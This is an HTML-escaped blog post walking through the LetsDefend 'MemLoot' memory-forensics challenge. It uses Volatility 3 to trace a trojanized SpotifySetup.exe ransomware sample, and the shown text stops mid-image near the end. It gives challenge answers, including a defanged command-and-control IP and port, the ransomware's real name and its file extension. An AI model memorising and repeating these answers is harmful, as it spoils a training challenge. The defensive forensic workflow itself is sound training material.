            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  — MemLoot Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--memloot-challenge-walkthrough&#34;&gt;LetsDefend — MemLoot Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;windows-memory-forensics-with-volatility-3-ransomware-detection-process-analysis-and-network-artifact-discovery&#34;&gt;Windows Memory Forensics with Volatility 3: Ransomware Detection, Process Analysis, and Network Artifact Discovery.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/memloot&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/memloot&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/memloot&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MemLoot&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This one goes all in on &lt;strong&gt;memory analysis&lt;/strong&gt;, where volatile artifacts living in RAM can tell a story even when disk evidence is long gone.&lt;/p&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our incident response hats and investigating a ransomware alert on a newly provisioned workstation. After some scary activity was detected, including file encryption and a ransom note, the system was isolated from the network. The user reported downloading and installing what they believed was legitimate software shortly before everything went off the rails. Our mission is to validate that story and figure out exactly what happened.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, we&amp;rsquo;re provided with a memory dump from the affected system, which gives us everything we need to begin reconstructing the attack. Using &lt;strong&gt;Volatility 3&lt;/strong&gt;, we&amp;rsquo;ll analyze running processes, identify file paths, uncover network artifacts, and reveal the ransomware&amp;rsquo;s behavior directly from memory. Along the way, we&amp;rsquo;ll correlate process trees, execution timestamps, encrypted file indicators, and outbound connections to build a clear picture of what went down.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll walk you through each stage, explaining what we&amp;rsquo;re doing so you can develop your own workflow for approaching similar incidents in the real world. By the end, you&amp;rsquo;ll have a solid sense of how to use &lt;em&gt;Volatility&lt;/em&gt; to pivot from suspicious executables to network infrastructure and confidently piece together an attack chain hiding inside RAM. Let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We are reporting a ransomware attack on a workstation belonging to a new employee.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The machine was isolated from the network after unusual activity was detected, including file encryption and the appearance of a ransom note.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The employee mentioned that they had recently downloaded and installed software, believing it to be a legitimate application. Shortly after, critical files became inaccessible, and a ransom message appeared.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We are providing you with a memory dump to help identify the cause of the ransomware infection and determine how the attack was executed&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-identify-the-suspicious-executable-running-inmemory&#34;&gt;Question 1: Identify the suspicious executable running in memory.&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by opening the &lt;em&gt;ChallengeFile&lt;/em&gt; folder, which contains the artifact we&amp;rsquo;ll be examining: &lt;code&gt;MemLoot.vmem&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;412px&#34; data-flex-grow=&#34;171&#34; height=&#34;413&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/e10be22613c91ef27de9c2965cd22e5f_MD5.png&#34; width=&#34;709&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;You might be asking yourself what a &lt;code&gt;.vmem&lt;/code&gt; file actually is and how we&amp;rsquo;re supposed to read it. That&amp;rsquo;s exactly the point of this challenge. A &lt;code&gt;.vmem&lt;/code&gt; file is a virtual memory dump from a &lt;strong&gt;VMware&lt;/strong&gt; virtual machine, capturing a snapshot of its virtual RAM at a specific point in time. Memory images like this are rich forensic artifacts that let us dig into evidence such as running processes, loaded modules, injected code, and even fragments of network activity.&lt;/p&gt;&#xA;&lt;p&gt;To explore the memory image, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Volatility 3&lt;/strong&gt;&lt;/a&gt;, the modern version of the popular memory forensics framework described as &amp;ldquo;the world&amp;rsquo;s most widely used framework for extracting digital artifacts from volatile memory (RAM) samples.&amp;ldquo;I&amp;rsquo;ll refer to it simply as &lt;em&gt;Volatility&lt;/em&gt; from this point forward. This tool is already installed on the &lt;strong&gt;LetsDefend&lt;/strong&gt; virtual machine, so we&amp;rsquo;re good to go.&lt;/p&gt;&#xA;&lt;p&gt;To get started, open &lt;em&gt;Volatility&lt;/em&gt; from the pinned shortcut on the taskbar.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;600&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/f04f564ade5f216e98f592dd6da4dfdd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Launching Volatility&lt;/p&gt;&#xA;&lt;p&gt;Once it&amp;rsquo;s open, a quick pro tip if you&amp;rsquo;re still getting comfortable with &lt;em&gt;Volatility&lt;/em&gt; is to review the built-in help, which lists supported plugins and usage details:&lt;/p&gt;&#xA;&lt;p&gt;vol -h&lt;/p&gt;&#xA;&lt;p&gt;Looking back at our objective for &lt;strong&gt;Question 1&lt;/strong&gt;, we need to identify a suspicious executable running on the compromised host. From &lt;em&gt;Volatility&lt;/em&gt;&amp;rsquo;s help output, we can see that the &lt;code&gt;windows.pslist&lt;/code&gt; plugin is a solid starting point. It enumerates processes that were active in memory at the time the snapshot was captured.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s give it a try:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.pslist&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/f7133703b816501e2436634f3bca4fab_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Identifying the suspicious executable&lt;/p&gt;&#xA;&lt;p&gt;Once the output loads, we can start examining the process list. Depending on your familiarity with Windows internals, some process names will look immediately normal, while others may feel just a bit off. If you ever stumble here, a reliable reference is the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;SANS &lt;em&gt;Hunt Evil&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; cheat sheet, which helps quickly distinguish expected Windows process from anomalous ones.&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s tie this back to the scenario. We&amp;rsquo;re told that &amp;ldquo;the employee mentioned that they had recently downloaded and installed software, believing it to be a legitimate application.&amp;ldquo;One process that immediately stands out is &lt;code&gt;SpotifySetup.exe&lt;/code&gt;, which neatly fits into the scenario.&lt;/p&gt;&#xA;&lt;p&gt;At this stage, we&amp;rsquo;ve got a strong lead and a suspicious file potentially masquerading as a familiar app.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/08647f45e0153553b50b09dff80c57da_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-full-path-of-the-malicious-file&#34;&gt;Question 2: What is the full path of the malicious file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the suspicious executable, it&amp;rsquo;s time to dig a little deeper and determine the full path of the file on disk.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll pivot away from &lt;code&gt;windows.pslist&lt;/code&gt; and instead leverage the &lt;code&gt;windows.pstree&lt;/code&gt; module. While &lt;code&gt;windows.pslist&lt;/code&gt; gives us a flat view of running processes, &lt;code&gt;_windows.pstree_&lt;/code&gt; helps us understand parent€“child relationships and often includes additional context, such as the executable path, when it&amp;rsquo;s available in memory.&lt;/p&gt;&#xA;&lt;p&gt;A clean way to narrow our focus is to apply some pattern matching to the output. Think of this as a rough equivalent to &lt;code&gt;grep&lt;/code&gt; on Linux. Since we&amp;rsquo;re running &lt;em&gt;Volatility&lt;/em&gt; on Windows, we can pipe the output directly into the PowerShell &lt;code&gt;Select-String&lt;/code&gt; cmdlet and filter for references to our suspicious binary, &lt;code&gt;SpotifySetup.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.pstree | Select-String -Pattern &amp;ldquo;SpotifySetup.exe&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Running this command and filtering the results reveals the full path of the executable on the original host&amp;rsquo;s disk:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;C:\Users\Zifrana\Downloads\SpotifySetup.exe&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/fdb5323908d73fa34cbc7cba984d77ea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Uncovering the malicious file path using windows.pstree&lt;/p&gt;&#xA;&lt;p&gt;This makes sense given the scenario. The employee mentioned downloading what they believed was legitimate software, and the &lt;em&gt;Downloads&lt;/em&gt; directory is a common staging point for exactly that kind of activity. At this point, we&amp;rsquo;ve confirmed not only the suspicious process name, but also where it lived on disk, giving us valuable context for how the ransomware likely made its way onto the system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/80e6eb0839f40b74f722e4cd0c22e299_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-3-4&#34;&gt;Questions 3 &amp;amp; 4:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-pid-of-the-malicious-file&#34;&gt;What is the PID of the malicious file?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;when-was-the-malicious-file-executed&#34;&gt;When was the malicious file executed?&#xA;&lt;/h4&gt;&lt;p&gt;One of the nice bonuses of using &lt;code&gt;windows.pstree&lt;/code&gt; instead of stopping at &lt;code&gt;windows.pslist&lt;/code&gt; is that we get access to more contextual details than just a process name and hierarchy. In addition to showing us where the executable lived on disk, the output also exposes the &lt;strong&gt;process ID (PID)&lt;/strong&gt; and the &lt;em&gt;creation timestamp&lt;/em&gt; for that process.&lt;/p&gt;&#xA;&lt;p&gt;That gives us everything we need to answer &lt;strong&gt;Question 3&lt;/strong&gt; and &lt;strong&gt;Question 4&lt;/strong&gt; without introducing any new commands.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/c8b66d8da8cf131e85eb05187f217508_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Uncovering the malicious file PID and executed timestamp using windows.pstree&lt;/p&gt;&#xA;&lt;p&gt;At this point, we&amp;rsquo;ve established not just &lt;em&gt;what&lt;/em&gt; executable ran and &lt;em&gt;where&lt;/em&gt; it came from, but also &lt;em&gt;when&lt;/em&gt; it entered execution and &lt;em&gt;how&lt;/em&gt; it appeared in the process tree. With those answers in hand, we&amp;rsquo;re in good shape to move into deeper analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/57b9e0e555d29f17f3098feded30d7b3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1488px&#34; data-flex-grow=&#34;620&#34; height=&#34;129&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/f1c37b098078e06cfd42d422999139db_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-real-name-of-the-malicious-file&#34;&gt;Question 5: What is the real name of the malicious file?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing our analysis of the malicious &lt;code&gt;SpotifySetup.exe&lt;/code&gt;, we now need to determine the &lt;em&gt;real&lt;/em&gt; name of the file, not just the display name used to lure a victim into launching it.&lt;/p&gt;&#xA;&lt;p&gt;To do that, we&amp;rsquo;ll take advantage of an optional argument available in &lt;strong&gt;Volatility&lt;/strong&gt;&amp;lsquo;s &lt;code&gt;windows.pslist&lt;/code&gt; module. The &lt;code&gt;--dump&lt;/code&gt; option allows us to extract the in-memory contents associated with a specific process so that we can perform offline analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;800px&#34; data-flex-grow=&#34;333&#34; height=&#34;240&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/a4e356d0da2ac84c0c06f1b150ad378c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Dumping the contents of the malicious process&lt;/p&gt;&#xA;&lt;p&gt;Using the PID we identified earlier, we can run:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.pslist &amp;ndash;dump &amp;ndash;pid 6816&lt;/p&gt;&#xA;&lt;p&gt;This command produces a &lt;code&gt;.dmp&lt;/code&gt; file containing the dumped memory for that process. While this isn&amp;rsquo;t the same as the original executable copied directly from disk, it can be enough to extract useful metadata that survives in memory.&lt;/p&gt;&#xA;&lt;p&gt;For that analysis, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://exiftool.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ExifTool&lt;/strong&gt;&lt;/a&gt;, a widely used metadata inspection utility. &lt;em&gt;ExifTool&lt;/em&gt; is already installed in the &lt;em&gt;Tools&lt;/em&gt; folder of the LetsDefend environment, which makes it convenient. We can point it directly at the dumped file like this:&lt;/p&gt;&#xA;&lt;p&gt;.\exiftool.exe -f &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\6816.SpotifySetup.e.0x7ff6ad990000.dmp&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;409px&#34; data-flex-grow=&#34;170&#34; height=&#34;469&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/b53cdf8e0a9cfb0d6f74a40285af2501_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;ExifTool: Identifying the Original File Name&lt;/p&gt;&#xA;&lt;p&gt;Reviewing the output, the &lt;strong&gt;Original File Name&lt;/strong&gt; field sticks out. Instead of anything resembling Spotify, the value is listed as &lt;code&gt;DarkHav0c&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a far spookier name than the one presented to the user and a strong indicator that the executable was masquerading as legitimate software. At this point, the gap between the file&amp;rsquo;s &lt;em&gt;display name&lt;/em&gt; and its &lt;em&gt;embedded metadata&lt;/em&gt; helps confirm that we&amp;rsquo;re dealing with a trojanized installer rather than an accidental false positive.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/fded591a1bd9541844f5c433caa2664e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-file-extension-does-the-ransomware-use-after-encryption&#34;&gt;Question 6: What file extension does the ransomware use after encryption?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve collected a solid amount of information about the file itself, let&amp;rsquo;s shift focus toward understanding how it operates. We&amp;rsquo;ve already established that this binary behaves like ransomware, and one of the most visible indicators of successful encryption is the file extension appended to victim files.&lt;/p&gt;&#xA;&lt;p&gt;To identify that extension, we&amp;rsquo;ll start by returning to the user path we discovered back in &lt;strong&gt;Question 2&lt;/strong&gt; and build outward from there. This time, we&amp;rsquo;ll rely on &lt;strong&gt;Volatility&lt;/strong&gt;&amp;lsquo;s &lt;code&gt;windows.filescan&lt;/code&gt; plugin, which searches memory for file objects that may still be referenced by the operating system.&lt;/p&gt;&#xA;&lt;p&gt;For a little peek behind the curtains, this step gave me some trouble.&lt;/p&gt;&#xA;&lt;p&gt;My first instinct was to filter the output down to the user&amp;rsquo;s directory using pattern matching. I tried piping the results through &lt;code&gt;findstr&lt;/code&gt; to look at everything under &lt;code&gt;\Users\Zifrana\&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.filescan | findstr &amp;ldquo;\Users\Zifrana&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I also tried exporting the output to a text file, hoping that it would make it easier to sift through:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.filescan &amp;gt; filescan.txt&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, neither approach turned up anything useful. The exported output was truncated, and the filtered results didn&amp;rsquo;t surface any meaningful indicators related to encrypted files.&lt;/p&gt;&#xA;&lt;p&gt;At that point, there was only one option left. Manual mode.&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.filescan&lt;/p&gt;&#xA;&lt;p&gt;Letting the full file scan stream directly to the terminal isn&amp;rsquo;t elegant, and it takes a &lt;em&gt;loooooong&lt;/em&gt; time to run, so be patient: Maybe you&amp;rsquo;ll spot something interesting as it zips by&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/83870926332cafcaaad46f5a00f3e8bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Locating the needle in the haystack&lt;/p&gt;&#xA;&lt;p&gt;Finally, once it completes, we can start to scroll up through the output. Thankfully, we don&amp;rsquo;t have to go too far before we stumble across a familiar file extension, &lt;code&gt;.Hav0c&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That extension gives us our answer for &lt;strong&gt;Question 6&lt;/strong&gt; and provides another strong indicator tying the observed activity back to the malicious binary we&amp;rsquo;ve been analyzing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/85494364916802db50b2283f4b7ee301_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-identify-the-ip-address-and-port-the-ransomware-attempted-to-communicate-with&#34;&gt;Question 7: Identify the IP address and port the ransomware attempted to communicate with.&#xA;&lt;/h3&gt;&lt;p&gt;To tackle &lt;strong&gt;Question 7&lt;/strong&gt;, we&amp;rsquo;re going to pivot to another &lt;em&gt;Volatility&lt;/em&gt; module: &lt;code&gt;windows.netscan&lt;/code&gt;. This plugin scans memory for network artifacts, including active and recently closed connections, IP addresses, and associated ports.&lt;/p&gt;&#xA;&lt;p&gt;Our goal here is to identify network activity tied specifically to the malicious binary, &lt;code&gt;SpotifySetup.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To make that easier, we&amp;rsquo;ll run the module and redirect its output to a text file. This gives us the flexibility to quickly search through the results using a text editor rather than manually scrolling through terminal output. In the example below, the results are written to a file named &lt;code&gt;netscan.txt&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.netscan &amp;gt; netscan.txt&lt;/p&gt;&#xA;&lt;p&gt;Once that command completes, we can open &lt;em&gt;netscan.txt&lt;/em&gt; in a tool like Notepad and use its built-in search functionality. Press &lt;code&gt;Ctrl + F&lt;/code&gt;, search for &lt;code&gt;SpotifySetup&lt;/code&gt;, and jump to the first matching entry.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/46c8b39b9d1e2c02092fd3beca4eab46_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad: Analyzing the output of Volatility&amp;rsquo;s windows.netscan&lt;/p&gt;&#xA;&lt;p&gt;From that entry, we can see that &lt;code&gt;SpotifySetup.exe&lt;/code&gt; established an outbound connection to a &lt;em&gt;ForeignAddr&lt;/em&gt; of &lt;code&gt;104[.]152[.]52[.]238&lt;/code&gt; over &lt;em&gt;ForeignPort&lt;/em&gt; &lt;code&gt;6548&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is a nice find because it gives us visibility into the attacker&amp;rsquo;s external infrastructure like a potential command and control address. It&amp;rsquo;s also great for defensive purposes, such as blocking the indicator or pivoting into threat intelligence to discover more related activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1523px&#34; data-flex-grow=&#34;634&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/81b932fddffeb48913cf813729b22f28_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-8-9&#34;&gt;Questions 8 &amp;amp; 9:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-ppid-of-the-malicious-file&#34;&gt;What is the PPID of the malicious file?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;identify-the-initiating-process-that-executed-the-malicious-binary&#34;&gt;Identify the initiating process that executed the malicious binary.&#xA;&lt;/h4&gt;&lt;p&gt;Finally, we&amp;rsquo;ve made it to the last two questions, and fittingly, they take us right back to where this investigation began.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 8&lt;/strong&gt; and &lt;strong&gt;Question 9&lt;/strong&gt;, we need to revisit the &lt;code&gt;windows.pslist&lt;/code&gt; output from &lt;strong&gt;Question 1&lt;/strong&gt; and take a closer look at how &lt;code&gt;SpotifySetup.exe&lt;/code&gt; was launched.&lt;/p&gt;&#xA;&lt;p&gt;Within the process listing, we can identify the &lt;strong&gt;parent process ID (PPID)&lt;/strong&gt; associated with the malicious binary. The PPID for &lt;code&gt;SpotifySetup.exe&lt;/code&gt; is &lt;code&gt;5864&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;11760px&#34; data-flex-grow=&#34;4900&#34; height=&#34;16&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/5ebab75fa5983d85710c7daf3a06bd14_MD5.png&#34; width=&#34;784&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Identifying the malware PPID with windows.pslist&lt;/p&gt;&#xA;&lt;p&gt;With that, we can tighten our focus and determine which process was responsible for launching the ransomware. A quick way to do that is to search the process list for the matching PID:&lt;/p&gt;&#xA;&lt;p&gt;vol -f .\MemLoot.vmem windows.pslist | findstr &amp;ldquo;5864&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/ef01ded4c715da25559200072e6d36ce_MD5.png&#34; 